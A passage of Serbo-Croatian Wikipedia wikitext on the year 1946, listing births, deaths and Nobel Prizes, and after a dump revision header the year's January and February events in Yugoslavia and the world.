Broz Tito]] (takođe i Generalni sekretar [[KPJ]]) ** Predsednik Narodne skupštine: [[Vladimir Simić]] * [[Popis jugoslavenskih filmova|Domaći film]]: "[[U planinama Jugoslavije]]" (sovjetska koprodukcija) (→ [[:Kategorija:Filmovi 1946.]]). * [[Spisak država po datumu državnosti|Nove države]]: {| | | [[Datoteka:Flag of Jordan.svg|thumb|120px|[[Jordan|Transjordan]]]] | [[Datoteka:Flag of the Philippines.svg|thumb|120px|[[Filipini]]]] |} == Rođenja == {{glavni članak|:Kategorija:Rođeni 1946.}} === Januar/Siječanj === * [[5. 1.]] - [[Diane Keaton]], glumica († [[2025]]) * [[6. 1.]] - [[Syd Barrett]], rok-muzičar iz ''Pink Floyd''-a († [[2006]]) * [[13. 1.]] - [[Sonja Jauković]], glumica * [[15. 1.]] - [[Dragomir Zupanc]], TV reditelj * [[16. 1.]] - [[Kabir Bedi]], glumac * [[17. 1.]] - [[Meto Jovanovski]], glumac († [[2023]]) * [[19. 1.]] - [[Dolly Parton]], country-muzičarka * [[20. 1.]] - [[David Lynch]], filmski režiser († [[2025]]) * [[22. 1.]] - [[Malcolm McLaren]], muzičar († [[2010]]) * [[23. 1.]] - [[Zvonko Bušić]], radikalni emigrant († [[2013]]) * [[24. 1.]] - [[Goran Milić]], novinar * 24. 1. - [[Michael Ontkean]], glumac * [[27. 1.]] - [[Andrija Hebrang (sin)|Andrija Hebrang]], hrvatski političar i liječnik * [[30. 1.]] - [[Dick Cheney]], potpredsednik SAD === Februar/Veljača === * [[3. 2.]] - [[Žarko Potočnjak]], hrvatski glumac († [[2021]]) * [[4. 2.]] - [[Usnija Redžepova]], narodna pevačica († [[2015]]) * [[5. 2.]] - [[Charlotte Rampling]], britanska glumica * [[10. 2.]] - [[Velimir Kljaić]], hrvatski rukometni trener († [[2010]]) * [[19. 2.]] - [[Beti Đorđević]], pevačica († [[2026]]) * [[21. 2.]] - [[Alan Rickman]], britanski glumac († [[2016]]) * [[24. 2.]] - Slobodan Petrović - [[Petar Slaj]], baletski koreograf († [[2013]]) * 24. 2. - [[Ratomir Dujković]], golman i fudbalski trener * [[28. 2.]] - [[Robin Cook]], britanski političar († [[2005]]) === Mart/Ožujak === * [[1. 3.]] - [[Ljubiša Veličković]], gen-puk., komandant RV i PVO VJ († [[1999]]) * [[3. 3.]] - [[Ejup Ganić]], bh. političar * [[6. 3.]] - [[David Gilmour]], rok-muzičar iz ''Pink Floyd'' * [[8. 3.]] - [[Jasna Diklić]], bosanskohercegovačka pozorišna i filmska glumica * [[11. 3.]] - [[Jurij Bajec]], ekonomista * [[12. 3.]] - [[Liza Minnelli]], američka glumica i pjevačica * [[19. 3.]] - [[Bigas Luna]], režiser († [[2013]]) * [[21. 3.]] ('44 ili '46) - [[Timothy Dalton]], glumac * [[31. 3.]] - [[Hašim Kučuk Hoki]], pevač narodne muzike († [[2002]]) * 31. 3. - Leposava [[Lokica Stefanović]], arhitekta, balerina, baletski pedagog === April/Travanj === * [[3. 4.]] - [[Branislav Milićević]], Branko Kockica * [[6. 4.]] - [[Ivan Bekjarev]], srpski glumac († [[2020]]) * [[7. 4.]] - [[Dimitrij Rupel]], slovenački političar * [[10. 4.]] - [[Vladimir Janković]] (Vlada Džet), rok-muzičar, novinar Beograda 202 * 10. 4. - [[Nebojša Pavković]], general, načelnik generalštaba Vojske Jugoslavije († [[2025]]) * [[13. 4.]] - [[Josif Tatić]], glumac († [[2013]]) * [[25. 4.]] - [[Srbijanka Turajlić]], profesor BU, politička aktivistkinja († [[2022]]) * 25. 4. - [[Vladimir Žirinovski]], ruski političar († [[2022]]) * 25. 4. - [[Strobe Talbott]], američki novinar i diplomata * [[30. 4.]] - [[Carl XVI Gustaf]], kralj Švedske === Maj/Svibanj === * [[2. 5.]] - [[David Suchet]], britanski glumac * [[8. 5.]] - [[Borislav Stjepanović]], bh. glumac i režiser * [[9. 5.]] - [[Candice Bergen]], glumica * [[10. 5.]] - [[Marko Nicović]], advokat, funkcioner SUP * 10. 5. - [[Dušan Petričić]], grafičar, ilustrator * [[11. 5.]] - [[Zoran Simjanović]], kompozitor († [[2021]]) * [[12. 5.]] - [[Daniel Libeskind]], arhitekt * [[19. 5.]] - [[Michele Placido]], glumac * [[20. 5.]] - [[Cher]], pevačica, glumica * [[21. 5.]] - [[Boba Stefanović]], pevač, kompozitor († [[2015]]) * [[22. 5.]] - [[Hrvoje Horvat]], rukometaš, trener * [[22. 5.]] - [[Petar Božović]], glumac * 22. 5. - [[George Best]], sjevernoirski fudbaler († [[2005]]) * [[24. 5.]] - [[Tansu Çiller]], premijerka Turske * [[25. 5.]] - [[Miroslav Tuđman]], znanstvenik i političar († [[2021]]) * [[26. 5.]] - [[Mick Ronson]], rock gitarist, producent († [[1993]]) * 26. 5. - [[Miroslav Maksimović (pesnik)|Miroslav Maksimović]], književnik, urednik BIGZ-a * [[27. 5.]] - [[Predrag Vranešević]], član "Laboratorije zvuka" († [[2022]]) * [[30. 5.]] - [[Dragan Džajić]], srpski fudbaler === Jun/Juni/Lipanj === * [[5. 6.]] - [[Branko Baletić]], filmski reditelj i scenarista * [[6. 6.]] - [[Živko Kolega]], hrvatski političar * [[10. 6.]] - [[Antun Tudić]], hrvatski glumac * [[14. 6.]] - [[Donald Trump]], biznismen, predsednik SAD * [[15. 6.]] - [[Demis Rusos]], pevač († [[2015]]) * [[18. 6.]] - [[Fabio Capello]], fudbaler, trener * [[20. 6.]] - [[Xanana Gusmão]], prvi predsednik Istočnog Timora * [[23. 6.]] - [[Gojko Šantić]], glumac († [[2024]]) * [[24. 6.]] - [[Velimir Milošević]], pjesnik za djecu * [[27. 6.]] - [[Miroljub Lešo]], glumac († [[2019]]) * [[28. 6.]] - [[Slobodan Inić]], sociolog († [[2000]]) === Jul/Juli/Srpanj === * [[1. 7.]] - [[Slobodan Santrač]], fudbaler, trener († [[2016]]) * [[6. 7.]] - [[George W. Bush]], predsjednik SAD * 6. 7. - [[Peter Singer]], australski filozof bioetičar * 6. 7. - [[Sylvester Stallone]], američki glumac * [[9. 7.]] - [[Radomir Putnik (pisac)]] * [[15. 7.]] - [[Predrag Vitas]], novinar TV Beograd († [[1998]]) * [[19. 7.]] - [[Ilie Năstase]], teniser * [[22. 7.]] - [[Mireille Mathieu]], pevačica * 22. 7. - [[Danny Glover]], glumac * [[25. 7.]] - [[Ljupka Dimitrovska]], pevačica († [[2016]]) * [[27. 7.]] - [[Rade Šerbedžija]], glumac, pjesnik i muzičar === Avgust/August/Kolovoz === * [[3. 8.]] - [[Jack Straw]], britanski političar * [[4. 8.]] - [[Vladimir Bebić]], hrvatski političar († [[2009]]) * [[8. 8.]] - [[Dragutin Šurbek]], stonoteniser († [[2018]]) * [[10. 8.]] - [[Daša Drndić]], književnica († [[2018]]) * 10. 8. - [[Rifet Bahtijaragić]], bosanskohercegovački književnik * [[11. 8.]] - [[Milan Gutović]] - Lane, glumac († [[2021]]) * 11. 8. - [[Radomir Marković]], načelnik SDB Srbije * [[15. 8.]] - [[Tony Robinson]], glumac, TV voditelj * [[16. 8.]] - [[Pavao Pavličić]], hrvatski književnik i romanopisac * 16. 8. - [[Kaqusha Jashari]], kosovska političarka († [[2025]]) * [[19. 8.]] - [[Bill Clinton]], američki predsjednik * [[20. 8.]] - [[Connie Chung]], novinarka * [[23. 8.]] - [[Keith Moon]], bubnjar ''The Who'' († [[1978]]) * [[24. 8.]] - [[Goran Marković]], pozorišni i filmski reditelj * [[25. 8.]] - [[Branko Cvejić]], glumac, upravnik JDP († [[2022]]) * [[26. 8.]] - [[Mark Snow]], kompozitor († [[2025]]) * [[29. 8.]] - [[Bob Beamon]], atletičar * [[30. 8]] - [[Peggy Lipton]], glumica († [[2019]]) === Septembar/Rujan === * [[5. 9.]] - [[Freddie Mercury]], britanski pjevač ([[Queen]]), († [[1991]]) * [[8. 9.]] - [[Beriz Belkić]], bh. političar († [[2023]]) * [[15. 9.]] - [[Tommy Lee Jones]], glumac * 15. 9. - [[Oliver Stone]], filmski režiser, producent * [[23. 9.]] - [[Davorin Popović]], muzičar († [[2001]]) * [[26. 9.]] - [[Sejo Pitić]], pjevač († [[2023]]) * [[29. 9.]] - [[Nataša Kandić]], aktivistkinja za ljudska prava === Oktobar/Listopad === * [[4. 10.]]- [[Suzan Sarandon]], američka filmska glumica. * [[8. 10.]] - [[Hanan Ashrawi]], palestinska političarka * [[19. 10.]] - [[Philip Pullman]], književnik * [[20. 10.]] - [[Elfride Jelinek]], dobitnica Nobelove nagrade za književnost. * 20. 10. - [[Marko Nikolić]], srpski glumac († [[2019]]) * [[26. 10.]] - [[Holly Woodlawn]], američka glumica * 26. 10. - [[Tanja Kragujević]], književnica * [[27. 10.]] - [[Ivan Reitman]], filmski režiser, producent († [[2022]]) * [[29. 10.]] - [[Vahidin Musemić]], fudbaler († [[2023]]) === Novembar/Studeni === * [[4. 11.]] - [[Robert Mapplethorpe]], fotograf († [[1989]]) * [[6. 11.]] - [[Sally Field]], glumica, režiser * [[8. 11.]] - [[Guus Hiddink]], fudbaler, trener * 8. 11. - [[Stanislav Karasi]], fudbaler * [[11. 11.]] - [[Dimitrije Boarov]], ekonomski novinar * [[16. 11.]] - [[Terrence McKenna]], američki pisac i filozof * 16. 11. - [[Slobodan Šijan]], filmski i TV reditelj, scenarista itd. * [[20. 11.]] - [[Patrijarh ruski Kiril]] * [[24. 11.]] - [[Ted Bundy]], serijski ubica († [[1989]]) * [[27. 11.]] - [[Jakša Fiamengo]], pjesnik i tekstopisac († [[2018]]) * [[29. 11.]] - [[Vuk Drašković]], književnik, novinar, predsednik [[SPO]] * [[30. 11.]] - [[Marina Abramović]], slikarka, multimedijalna i konceptualna umetnica === Decembar/Studeni === * [[1. 12.]] - [[Kemal Kurspahić]], novinar († [[2021]]) * 1. 12. - [[Mladen Naletilić]] Tuta, komandant u HVO, osuđenik za ratne zločine († [[2021]]) * [[2. 12.]] - [[Gianni Versace]], italijanski modni kreator († [[1997]]) * [[5. 12.]] - [[José Carreras]], tenor * [[8. 12.]] - [[Jacques Bourboulon]], fotograf * [[9. 12.]] - [[Sonia Gandhi]], indijska političarka * [[10. 12.]] - [[Fadil Redžić]], bosanskohercegovački muzičar * [[12. 12.]] - [[Emerson Fittipaldi]], auto-trkač * [[13. 12.]] - [[Jovica Aćin]], književnik i prevodilac * [[14. 12.]] - [[Patty Duke]], glumica († [[2016]]) * 14. 12. - [[Jane Birkin]], pjevačica, glumica († [[2023]]) * [[15. 12.]] - [[Miroslav Josić Višnjić]], srpski književnik († [[2015]]) * [[17. 12.]] - [[Aljoša Vučković]], glumac * 17. 12. - [[Ljiljana Lašić]], glumica * [[18. 12.]] - [[Steven Spielberg]], američki redatelj * [[23. 12.]] - [[John Sullivan]], scenarista "Mućki" († [[2011]]) * [[29. 12.]] - [[Slobodan Kovačević|Slobodan "Boda" Kovačević]], bosanskohercegovački gitarista * [[30. 12.]] - [[Berti Vogts]], fudbaler, trener * [[31. 12.]] - [[Diane von Fürstenberg]], modni kreator === Kroz godinu === * [[Mirko Pejanović]], bh. političar == Smrti == {{glavni članak|:Kategorija:Umrli 1946.}} === Januar/Siječanj &ndash; Mart/Ožujak === * [[6. 1.]] - [[Dion Fortune]], velška okultistkinja (* [[1890]]) * [[13. 1.]] - [[Radoje Dakić]], narodni heroj (* [[1911]]) * [[19. 1.]] (zvanično) - [[Nikola Kalabić]], četnički komandant (* [[1906]]) * [[20. 1.]] - [[Radivoje Kerović]], četnički vojvoda (* 1913) * [[29. 1.]] - [[Harry Hopkins]], savetnik predsednika FD Roosevelta (* [[1890]]) * [[31. 1.]] - [[Ivo Protulipac]], katolički aktivist, doktor i odvjetnik (* [[1899]]) * [[4. 2.]] - [[Milan Nedić]], general, predsednik kvislinške srpske vlade (* [[1878]]) * [[23. 2.]] - [[Tomoyuki Yamashita]], japanski general, osuđen za ratne zločine (* [[1885]]) * [[14. 3.]] - [[Werner von Blomberg]], predratni glavnokomandujući nemačke vojske (* [[1878]]) * [[24. 3.]] - [[Aleksandar Aljehin]], ruski šahista i svetski šampion u šahu (* [[1892]] === April/Travanj &ndash; Jun/Lipanj === * [[21. 4.]] - [[John Maynard Keynes]], britanski ekonomista (* [[1883]]) * [[1. 5.]] - [[Davorjanka Paunović]] Zdenka, nevenčana supruga Josipa Broza Tita (* [[1921]]) * 1. 5. - [[Grga Budislav Angjelinović]], političar, publicist (* [[1886]]) * [[16. 5.]] - [[Bruno Tesch]], pronalazač i proizvođač otrova ''Zyklon-B'' (* [[1890]]) * [[1. 6.]] - [[Ion Antonescu]], ratni vođa Rumunije (* [[1882]]) * [[9. 6.]] - [[Ananda Mahidol]], kralj Sijama (* [[1925]]) * [[10. 6.]] - [[Jack Johnson (bokser)]], bivši svetski prvak (* [[1878]]) * [[14. 6.]] - [[John Logie Baird]], pionir televizije (* [[1888]]) * [[16. 6.]] - [[Miloje Milojević]], kompozitor, muzikolog, pedagog (* [[1884]]) * [[20. 6.]] - [[Wanrong (carica)|Wanrong]], poslednja kineska carica (* [[1906]]) === Jul/Srpanj &ndash; Septembar/Rujan === * [[4. 7.]] - Čuvarke konc-logora Stutthof: ** [[Jenny-Wanda Barkmann]] (* ca. [[1922]]) ** [[Elisabeth Becker]] (* [[1923]]) ** [[Wanda Klaff]] (* [[1922]]) ** [[Ewa Paradies]] (* [[1920]]) ** [[Gerda Steinhoff]] (* [[1922]]) * [[8. 7.]] - [[Aleksandar Vasiljevič Aleksandrov]], kompozitor, osnivač ansambla (* [[1883]]) * [[13. 7.]] - [[Alfred Stieglitz]], fotograf (* [[1864]]) * [[17. 7.]] - Osuđeni na Beogradskom procesu: ** [[Dragoljub Mihailović]], komandant JVuO (* ) ** [[Dragomir Jovanović]], šef beogradske policije (* [[1902]]) ** [[Velibor Jonić]], Nedićev ministar prosvete (* [[1892]]) ** [[Tanasije Dinić]], Nedićev ministar unutr. poslova (* [[1891]]) ** [[Kosta Mušicki]], komandant Srpskog dobrovoljačkog korpusa (* [[1897]]) * [[20. 7.]] - [[Edmund Glaise-Horstenau]], njemački vojni izaslanik u NDH (* [[1882]]) * [[27. 7.]] - [[Gertrude Stein]], [[SAD|američka]] [[lezbejka|lezbejska]] spisateljica (* [[1874]]) * [[29. 7.]] - [[Milovan Kovačević]], arhitekt (* [[1905]]) * [[2. 8.]] - [[Andrej Vlasov]], sovjetski general u nemačkoj službi (* [[1901]]) * [[6. 8.]] - [[Veselin Čajkanović]], srpski klasični filolog, istoričar religije, akademik (* [[1881]]) * [[9. 8.]] - [[Léon Gaumont]], pionir filma (* [[1864]]) * [[13. 8.]] - [[H. G. Wells]], književnik (* [[1866]]) * [[4. 9.]] - [[Leon Rupnik]], slovenski kvisling (* [[1880]]) === Oktobar/Listopad &ndash; Decembar/Prosinac === * [[11. 10.]] - [[Ivan Hitrec]], hrvatski nogometaš (* [[1911]].) * [[12. 10.]] - [[Joseph Stilwell]], američki general (* [[1883]]) * [[15. 10.]] - [[Hermann Göring]], njemački rajhsmaršal (* [[1893]]) * [[16. 10.]] - osuđeni u Nirnbergu: ** [[Hans Frank]], nacistički guverner Poljske (* [[1900]]) ** [[Wilhelm Frick]], ministar unutr. poslova (* [[1877]]) ** [[Alfred Jodl]], šef Visoke komande (* [[1890]]) ** [[Ernst Kaltenbrunner]], general policije (* [[1903]]) ** [[Wilhelm Keitel]], generalfeldmaršal (* [[1882]]) ** [[Joachim von Ribbentrop]], ministar ino. poslova (* [[1893]]) ** [[Alfred Rosenberg]], nacistički ideolog (* [[1893]]) ** [[Fritz Sauckel]], opunomoćenik za radnu snagu (* [[1892]]) ** [[Arthur Seyss-Inquart]], nacistički lider u Austriji (* [[1892]]) ** [[Julius Streicher]], izdavač propagande (* [[1885]]) * [[14. 11.]] - [[Manuel de Falla]], kompozitor (* [[1876]]) * [[3. 12.]] - [[Mijo Kerošević]], narodni heroj (* [[1920]]) === Kroz godinu === * [[Miroslav Filipović]] - "fra Sotona", komandant Jasenovca (* [[1915]]) == Nobelove nagrade == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Percy W. Bridgman]] (izum aparature za proizvodnju ekstremno visokog pritiska i za otkrića na polju fizike visokog pritiska) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[James B. Sumner]] (otkriće da se enzimi mogu kristalizovati), [[John Howard Northrop]] i [[Wendell Meredith Stanley]] (preparacija enzima i virusnih proteina u čistom obliku) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Hermann Joseph Muller]] (otkriće proizvodnje mutacija putem iradijacije rendgenskim zracima) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[Hermann Hesse]] (nadahnuto pisanje koje, rastući u smelosti i pronicljivosti, oličava klasične humanitarne ideale i visoke kvalitete stila) * [[Nobelova nagrada za mir|'''Mir''']]: [[Emily Greene Balch]] (zalaganje protiv rata i za razoružanje) i [[John Raleigh Mott]] (međunarodna verska bratstva i misionarstvo u korist mira) == Reference == {{reference}} == Literatura == * Milan Bajec, Ivan Dolničar (1981). ''Jugoslavija 1941-1981'', Beograd: Eksport pres. [[Kategorija:1940-e]] [[Kategorija:20. vijek|46]] [[Kategorija:Godine]] p8dgdl574z8gn9qzq23ptdpndoytaop 42602607 42602606 2026-05-27T21:20:19Z Alekol 2231 /* Decembar/Prosinac */ 42602607 wikitext text/x-wiki {{godina nav}} {{Godina u drugim kalendarima|1946}} __NOTOC__ Godina '''1946''' ('''[[Rimski brojevi|MCMXLVI]]''') bila je [[redovna godina koja počinje u utorak]]. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Japanski car [[Hirohito, car Shōwa|Hirohito]] objavljuje reskriptom da nije božanskog porekla i da Japanci nisu viša rasa (ili je to zapadno tumačenje dokumenta). * [[2. 1.]] - U nemogućnosti da nastavi svoju vladu nad [[Albanija|Albanijom]] posle [[Drugi svetski rat|Drugog svetskog rata]], [[Zog od Albanije|Kralj Zog]] je abdicirao, ali je zadržavo svoje pravo na [[Kralj Albanije|tron]]. * [[3. 1.]] - [[Monnetov plan]]: u Francuskoj osnovana Generalna planska komisija na čelu sa [[Jean Monnet|Jeanom Monnetom]] za poticaj ekonomskom oporavku. * [[4. 1.]] - [[Regalije Svetog rimskog carstva]] vraćene u Beč. * [[7. 1.]] - Zapadne sile su priznale [[Austrija|Austriju]] u granicama iz [[1937]]. * [[10. 1.]] - [[Projekat Diana]] - [[radar]]ski zraci odbijeni od [[Mesec]]a nazad na Zemlju, čime je izmerena njihova razdaljina i dokazana mogućnost komunikacije u svemiru. * 10. 1. - U Londonu održano prvo zasedanje [[Generalna skupština Ujedinjenih naroda|Generalne skupštine Ujedinjenih naroda]], sa predstavnicima 51 nacije. Za prvog predsednika izabran [[Paul-Henri Spaak]] (u oktobru prelaze u Njujork). [[Datoteka:State Emblem of the People's Republic of Albania.svg|mini|70px|left|Amblem NR Albanije]] * [[11. 1.]] - Ustavotvorna skupština u [[Tirana|Tirani]] je proglasila [[Narodna Republika Albanija|Narodnu Republiku Albaniju]] (Socijalistička Republika 1976-92), lider je [[Enver Hoxha]], do smrti 1985. * 11. 1. - Vojni udar na [[Haiti]]ju, nakon štrajkova i nemira: mulatski predsednik [[Élie Lescot]] beži iz zemlje, vlast uzima Vojno izvršno veće ([[Franck Lavaud|Lavaud]], [[Dumarsais Estimé|Estimé]], [[Paul Magloire|Magloire]]). * [[12. 1.]] - Sovjeti u Bugarskoj ne uspevaju da ubede [[Nikola Petkov|Nikolu Petkova]] i Kostu Lulčeva da se vrate u vladu [[Otadžbinski front (Bugarska)|Otadžbinskog fronta]]. * [[13. 1.]] - [[Kineski građanski rat]]: postignut sporazum o primirju, ali rat se nastavlja u junu. * [[15. 1.]] - Austrijski alpinisti [[Heinrich Harrer]] i [[Peter Aufschnaiter]] stigli u [[Lhasa|Lhasu]] - Harrer će napisati knjigu "[[Sedam godina na Tibetu]]". * januar - Talas štrajkova u SAD: rad je obustavljalo 174.000 radnika u električnoj industriji, 93.000 u mesnoj, 750.000 u čeličanama. [[Taft-Hartleyjev zakon]] će dogodine ograničiti moć sindikata. * januar - Indijski provincijski izbori su polarizovani između [[Indijski nacionalni kongres|Indijskog nacionalnog kongresa]] i [[Muslimanska liga|Muslimanske lige]], koja je potvrđena kao zastupnik muslimana Britanske Indije (rezultati verifikovani u martu). [[Datoteka:UNITED NATIONS - SECURITY COUNCIL - NARA - 515905.jpg|mini|Prvi [[Savet bezbednosti Ujedinjenih nacija]]]] * [[17. 1.]] - U Londonu održano prvo zasedanje [[Savet bezbednosti Ujedinjenih nacija|Saveta bezbednosti Ujedinjenih nacija]] - prvim pitanjem se bavi dva dana kasnije, iranskim protestom zbog odužene sovjetske okupacije iranskog Azerbejdžana. * [[19. 1.]] - Prvi let raketnog eksperimentalnog aviona [[Bell X-1]]. * [[20. 1.]] - Na [[Majevica|Majevici]] likvidiran četnički vojvoda [[Radivoje Kerović]]. * [[20. 1.]] - [[Charles de Gaulle]] daje ostavku na čelu [[Privremena vlada Francuske Republike|Privremene vlade Francuske republike]], nadajući se da će se uskoro vratiti s većom moći - na scenu se vraća tek 1958, biće prvi predsednik [[Peta Francuska Republika|Pete republike]] 1959-69, a u međuvremenu se smenjuju 24 administracije Privremene vlade i [[Četvrta Francuska Republika|Četvrte republike]]. * [[22. 1.]] - [[Iranska kriza 1946.|Iranska kriza]]: u [[kurdi|kurdskom]] delu [[Iran]]a proglašena autonomna [[Mahabadska Republika]] (neće doživeti kraj godine). * [[22. 1.]] - [[Karpatska Rutenija]], pod sovjetskom okupacijom od 1944, i zvanično postaje deo SSSR - [[Zakarpatska oblast]] [[Ukrajinska Sovjetska Socijalistička Republika|Ukrajinske SSR]]. * [[24. 1.]] - Prvom rezolucijom Generalne skupštine UN, koju su inicirale [[SAD]], [[Velika Britanija]] i [[Kanada]], osnovana je Komisija za atomsku energiju UN (aktivna do 1949, raspuštena 1952). * [[25. 1.]] - Počinje [[proterivanje Nemaca iz Čehoslovačke]]: do oktobra odlazi preko dva miliona. * [[29. 1.]] - Osnovana Centralna obaveštajna grupa (od [[1947]]. [[CIA]]). [[Datoteka:Emblem of Yugoslavia (1943–1963).svg|mini|140px|Amblem [[FNRJ]]]] * [[31. 1.]] - Ustavotvorna skupština je donela [[Ustav Federativne Narodne Republike Jugoslavije|Ustav]] [[Federativna Narodna Republika Jugoslavija|Federativne Narodne Republike Jugoslavije]] - po uzoru na [[Ustav Sovjetskog Saveza]], ojačana vlada na račun skupštine. ** FNRJ je "zajednica ravnopravnih naroda" koji žive zajedno na osnovu prava na samoopredeljenje, uključujući pravo na otcepljenje. Čine je šest narodnih republika. NR Srbija ima u svom sastavu Autonomnu pokrajinu Vojvodinu i Autonomnu kosovsko-metohijsku oblast. ** Kao vrhovni organ državne vlasti je označena [[Narodna skupština FNRJ]], koja ima [[Savezno vijeće SFRJ|Savezno veće]] i [[Veće naroda]], bira sebi [[Prezidijum Narodne skupštine FNRJ|Prezidijum]] (predsednik [[Ivan Ribar]]), imenuje i razrešava [[Vlada FNRJ|Vladu FNRJ]]. ** Ustav je značajno izmenjen [[Ustavni zakon 1953.|Ustavnim zakonom 1953.]] * 31. 1. - U Mađarskoj je statutom ukinuta monarhija i uvedena republika - ustav [[Narodna Republika Mađarska|narodne republike]] je donesen 1949, nakon komunističkog preuzimanja vlasti (→ [[taktika salame]]). * 31. 1. - [[Eurico Gaspar Dutra]] je novi predsednik Brazila (do 1951) - time [[Vargasova era]] smenjena [[Druga Brazilska Republika|Četvrtom republikom]] (do [[Državni udar u Brazilu 1964.|vojnog udara]] 1964). * januar - Od 126 miliona dolara UNRRA-ine pomoći, u Jugoslaviju je otišlo 36 miliona (NYT, 9. 4.) === Februar/Veljača === [[Datoteka:Tito and Ivan Ribar in 1943.jpg|mini|[[Ivan Ribar]] i Tito 1943 - sada predsednik prezidijuma skupštine i predsednik vlade]] * [[1. 2.]] - [[Josip Broz Tito]] prvi predsednik novoformirane Vlade FNRJ. * 1. 2. - [[Zoltán Tildy]], iz Sitnoposedničke stranke, prvi je predsednik mađarske republike (do 1948), premijer je od 4-og [[Ferenc Nagy]] iz iste stranke (do 1947). * 1. 2. - Tajni sporazum SSSR i Sirije o vojnoj pomoći. [[Datoteka:Trygve Lie.png|mini|left|[[Trygve Lie]]]] * [[2. 2.]] - Norvežanin [[Trygve Lie]] postaje prvi [[Generalni sekretar Ujedinjenih naroda]] (do 1952). * 2. 2. - Od južnog [[Sahalin]]a i [[Kurilski otoci|Kurilskih otoka]], uzetih prošle godine od Japana, osnovana Južnosahalinska oblast - dogodine deo šire [[Sahalinska oblast|Sahalinske oblasti]] [[Ruska Sovjetska Federativna Socijalistička Republika|Ruske SFSR]]. * [[3. 2.]] - [[Guzenkova afera]]: novinar Drew Pearson objavljuje vest o prebegu sovjetskog šifranta prošlog septembra u Kanadi, sa dokazima o špijunskoj mreži u toj zemlji, SAD i UK - kanadska vlada nekoliko dana kasnije osniva istražnu komisiju. * 3. 2. - Incident u [[Tonghua]]: neuspela pobuna japanskih zarobljenika koje su držali kineski komunisti, u dosluhu sa Kuomintangom, praćena je masakrom. * [[4. 2.]] - [[Milan Nedić]] izvršio samoubistvo u pritvoru u Beogradu. * [[4.2.|4]] - [[5. 2.]] - Američka i britanska vlada priznale [[Kraljevina Rumunija|rumunsku]] vladu, kojom dominiraju komunisti. * [[5. 2.]] - Na snazi je ugovor o poljsko-sovjetskoj granici od prošlog avgusta (još dve izmene 1948. i '51.). * 5. 2. - Američka firma TWA otvara prvu redovnu transatlantsku avionsku liniju, New York City - Paris, avionom [[Lockheed Constellation]]. * [[7. 2.]] - Incident u Beogradu, američki narednik Charles Nicoloff ubio sovjetskog vojnika Ivana Ivanovića Vasiljenka, navodno u samoodbrani (oslobođen u decembru pred vojnim sudom u Napulju)<ref>T. Jakovina, Američki komunistički saveznik, p. 203</ref>. * ca. 7. 2. - Zakon o ovlašćenju Vladi FNRJ za donošenje uredaba po pitanjima iz narodne privrede (jačanje državne intervencije u privredu). * [[8. 2.]] - [[Kim Il-sung]] postaje predsednik Privremenog narodnog komiteta za sever Koreje, uz podršku sovjetskih okupacionih vlasti (gen. [[Terentij Štikov]]). Uskoro se sprovodi redistribucija zemlje, nacionalizacija teške industrije i neke socijalne mere. * 8. 2. - Američki departman rata objavljuje da će otpustiti Jugoslovene koji služe sa okupacionim snagama u Nemačkoj; 12-og se izveštava o raciji među Poljacima i Jugoslovenima, kako bi se sprečilo formiranje armija neprijateljskih prema vladama u postojbinama. (New York Times) * [[9. 2.]] - Staljinov govor u Boljšom teatru: kapitalistički razvoj čini ratove neizbežnim (shvaćeno kao pretnja Zapadu), najavljuje nove petogodišnje planove i napore. * [[12. 2.]] - [[Pokret za građanska prava (SAD)]]: crni veteran Isaac Woodard je prebijen i oslepljen u Južnoj Karolini - šerif koji je to učinio je oslobođen. * [[14. 2.]] - Memorandum vlade FNRJ o "antijugoslovenskom stavu" poljske emigrantske armije ([[Andersova armija]]). [[Datoteka:Classic shot of the ENIAC.jpg|mini|[[ENIAC]]]] * 14. 2. - Javnosti predstavljen [[ENIAC]], prvi programabilni računar opšte svrhe. * 14. 2. - Laburistička vlada nacionalizovala [[Banka Engleske|Banku Engleske]] - sledi principe [[Kejnzijanizam|kejnzijanizanske]] ekonomike, niske kamate i podrška agregatnoj potražnji. * [[15. 2.]] - [[Datoteka:Flag of Bosnia and Herzegovina (1946–1992).svg|35px]] Federalna Bosna i Hercegovina mijenja ime u [[Narodna Republika Bosna i Hercegovina]]. [[Rodoljub Čolaković]] obrazuje novu vladu. * [[16. 2.]] - Poleteo [[Sikorsky H-5|Sikorsky S-51]], prvi komercijalni helikopter. * 16. 2. - Osnovan francuski [[Saarski protektorat]], odvojen od ostatka Nemačke pod savezničkom okupacijom (priključen Zapadnoj Nemačkoj 1957). * [[18. 2.]] - U [[Bombaj]]u izbija pobuna u Kraljevskoj indijskoj mornarici, zbog loše hrane - proširila se lukama cele Britanske Indije, do gušenja 24-og stradalo je više od 200 ljudi. * 18. 2. - "Velika konzistorija": papa [[Pio XII]] proizveo je 32 kardinala, među kojima je i [[József Mindszenty]] iz Mađarske. * [[19. 2.]] - [[Datoteka:Flag of Serbia (1946–1992).svg|border|35px]] Federalna Srbija menja ime u [[Narodna Republika Srbija]]. * [[20. 2.]] - Eksplozija u rudniku uglja u Bergkamenu na severu Rura, poginulo 405 rudara. * [[22. 2.]] - Uticajni "[[Dugi telegram]]" službenika američke ambasade u Moskvi [[George F. Kennan|Georga F. Kennana]] o načinu na koji [[SSSR]] posmatra svet (sovjetski ambasador u Washingtonu Nikolaj Novikov će u septembru poslati "Novikovljev telegram" o viđenju američkih planova). * 22. 2. - [[Datoteka:Flag of Serbia (1947–1992); Flag of Montenegro (1946–1993).svg|border|35px]] Federalna Crna Gora mijenja ime u [[Narodna Republika Crna Gora]]. * [[24. 2.]] - [[Juan Peron]] izabran za predsednika [[argentina|Argentine]] (preuzima u junu pa do 1955. i opet 1973-74). Njegova partija dobija većinu u parlamentu. Deklarisani ciljevi su socijalna pravda i ekonomska nezavisnost. * [[26. 2.]] - [[Datoteka:Flag of the Socialist Republic of Croatia.svg|35px]] Federalna Hrvatska postaje [[Narodna Republika Hrvatska]]. [[Vladimir Bakarić]] obrazuje novu vladu NRH. * 26. 2. - Početak opažanja "[[Fantomska raketa|fantomskih raketa]]" iznad Skandinavije, što se nastavlja u ostatku godine. * [[28. 2.]] - Prvi broj francuskog sportskog lista ''[[L'Équipe]]''. * 28. 2. - Franko-kineski sporazum o povlačenju kineskih vojnika sa severa Vijetnama (dovršeno u junu) i kraju francuskih koncesija u Kini. [[Hồ Chí Minh]] telegramom poziva Trumana da podrži 